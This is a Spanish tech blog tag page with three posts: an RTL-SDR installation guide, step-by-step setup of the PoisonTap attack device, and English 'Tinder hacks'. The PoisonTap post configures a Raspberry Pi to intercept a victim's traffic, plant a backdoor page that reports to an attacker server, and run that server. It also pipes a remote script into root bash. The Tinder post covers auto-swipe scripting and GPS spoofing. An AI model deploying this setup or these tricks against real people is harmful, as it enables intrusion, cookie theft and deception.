Mostrando las entradas con la etiqueta hacking. Mostrar todas las entradas
Mostrando las entradas con la etiqueta hacking. Mostrar todas las entradas

domingo, julio 22, 2018

Software Defined Radio para principiantes


Si quieres comenzar a introducirte al mundo del SDR, te recomiendo comprar este dongle, si el link ya no estuviera funcionando, puedes buscar el dispositivo con los siguientes keywords "RTL2832U RTL-SDR", selecciona uno que traiga varios accesorios (para hacer tu vida más fácil al momento de utilizar el dispositivo).

Dongle RTL-SDR RTL2832U T8220T2
Dongle RTL-SDR RTL2832U T8220T2

Este procedimiento de instalación fue probado en Ubuntu 18.04.

Oneliner (si confías y te gustan los oneliners):
sudo apt-get update; sudo apt-get install git cmake build-essential libusb-1.0-0-dev -y; git clone git://git.osmocom.org/rtl-sdr.git; cd rtl-sdr/; mkdir build; cd build; cmake ../ -DDETACH_KERNEL_DRIVER=ON; make; sudo make install; sudo ldconfig ; rtl_test -t
Paso a paso:
sudo apt-get update
sudo apt-get install git cmake build-essential libusb-1.0-0-dev
#Driver para Realtek RTL2832U
git clone git://git.osmocom.org/rtl-sdr.git
cd rtl-sdr/; mkdir build; cd build
cmake ../ -DDETACH_KERNEL_DRIVER=ON
make; sudo make install; sudo ldconfig
#Probando el receptor 
rtl_test -t

Si todo sale correctamente deberías ver algo como esto:

Output de rtl_test -t










Instalar gqrx
sudo apt-get install gqrx-sdr
Optimización usando libvolk

VOLK es la Biblioteca de kernels optimizada para vectores. Es una biblioteca que contiene núcleos de código SIMD escritos a mano para diferentes operaciones matemáticas. Como cada arquitectura SIMD puede ser muy diferente y aún no se ha encontrado ningún compilador para manejar la vectorización de manera adecuada o altamente eficiente, VOLK aborda el problema de manera diferente.
No se realmente el detalle de lo que realiza volk pero dicen que mejora sustancialmente el rendimiento del adaptador RTL con el computador del usuario.

sudo apt-get install libvolk1-bin
volk_profile
Este último paso demorará alrededor de 10 minutos.


Fuentes:

http://gqrx.dk/download/install-ubuntu
https://www.reddit.com/r/RTLSDR/comments/3or4et/linux_takes_hold_of_usb_rtl_device/
http://libvolk.org/
http://libvolk.org/doxygen/
https://ranous.files.wordpress.com/2018/02/rtl-sdr4linux_quickstartv2-18.pdf

miércoles, julio 18, 2018

Como hacer un poisonTap

PoisonTap es un gran proyecto del hacker Samy Kamkar y uno de los primeros que realicé. La documentación no es tan clara como yo hubiese querido, así que hice este pequeño resumen de instrucciones:

Requisitos: 

- Raspberry pi zero
- Ubuntu Linux 17/18 instalado
- Cable mini USB
- Memoria Micro-SD

Instalar raspbian en sd 



Instalar y ejecutar etcher 

cd Downloads
chmod a+x Etcher-linux-x64.AppImage
./Etcher-linux-x64.AppImage


Configurar la raspberry para que funcione como adaptador ethernet. 

Vamos a la ruta donde está montada la partición boot de la memoria sd (asumamos que es /media/user/boot, donde user es tu usuario de Ubuntu)

Editar /media/user/boot/config.txt y agregar dtoverlay=dwc2

echo "dtoverlay=dwc2" >> /media/user/boot/config.txt

Crear archivo vacío de nombre ssh (por defecto está deshabilitado el acceso sshs)

touch /media/user/boot/touch 

Editar /media/user/boot/cmdline.txt. Insertar el siguiente texto "modules-load=dwc2,g_ether" después de rootwait. Preservando los espacios de separación. 

sed -i 's/rootwait/rootwait modules-load=dwc2,g_ether/' /media/user/boot/cmdline.txt

Conectarse al dispositivo mediante ssh 

Con las opciones por defecto, el dispositivo no se conecta (como adaptador ethernet)

Para conseguirlo, hay que realizar los siguientes pasos: 

1. Ir a configuración de red 
2. ipv6 debe estar deshabilitado.
3. ipv4 debe estar como solo local (Local Link Only) 
4. Apagar y prender el adaptador de red desde la configuración. 

Una vez que diga "conectado" debes ejecutar:

ssh pi@raspberrypi.local  (directamente con la ip no funciona en la mayoría de los casos) 
La contraseña por defecto es raspberry.

IP FORWARDING IN THE HOST

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  (eth0 interfase con internet en host) 

IP_PC=$(ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
echo $IP_PC | sudo tee /etc/resolv.conf
sudo route add default gw $IP_PC


Configurar el DNS 
echo "nameserver 8.8.8.8" | sudo tee /etc/resolv.conf


Configurar Raspberry Pi 
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo -e "dwc2\ng_ether" >> /etc/modules (verificar)
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs

Luego, 

nano poisontap/backdoor.html (cambiar la url, var socket = new WebSocket('ws://:1337');) 

Luego copiar el archivo de configuración de DCHP. 

sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf


SERVER 

Ejecutar en el servidor host del ataque. 

sudo apt-get install git npm
sudo npm install websocket
curl -sL https://deb.nodesource.com/setup_7.x | sudo -E bash -
sudo apt-get install nodejs
git clone https://github.com/samyk/poisontap
cd poisontap
sudo node backend_server.js &

Fuentes: 


sábado, mayo 10, 2014

How to hack Tinder to get more out of it

If you're an enthusiastic user of Tinder application, you might consider these to hacks that improve the number of girls you get to meet.

1. Fishing strategy:
It basically works like this, instead of looking the pictures and decide if you like the girl or not, just swipe right all of them and then select the ones that liked you, block the rest.

How to do it :
Install Auto focus (you need root access)
Once you have the application installed you need to create a script. To do this just click on the plus button, this app usually works very slow while loading the recorded scripts.

Record the script
- Press plus button on the left bottom corner.
- Load Tinder.
- Press volume down key.
- Click on Tinder's green heart.
- Stop the recording pressing volume down key.

Execute the script
- Long press on the script name.
- A pop up will appear, set a number of times it will execute, I usually put 999,999. Don't be scared, it won't run forever, I don't know the reason but it always stop before reaching the number.
- Load Tinder and press the volume down key.
You will start getting lots of matches, then you just pick the ones you like the most. I usually get 20 to 50 matches per day.


2. Changing your location:

This is particularly useful if you are traveling and you want to meet local girls, this way you can anticipate yourself and make plans (arrange a date) by the time you get to the target city.
- Install Fake GPS
- Change location access (Settings > Location access) to GPS only.
Set the location to the place you want on the app.
Restart Tinder until you get the location set correctly. (most of the time it takes me three times).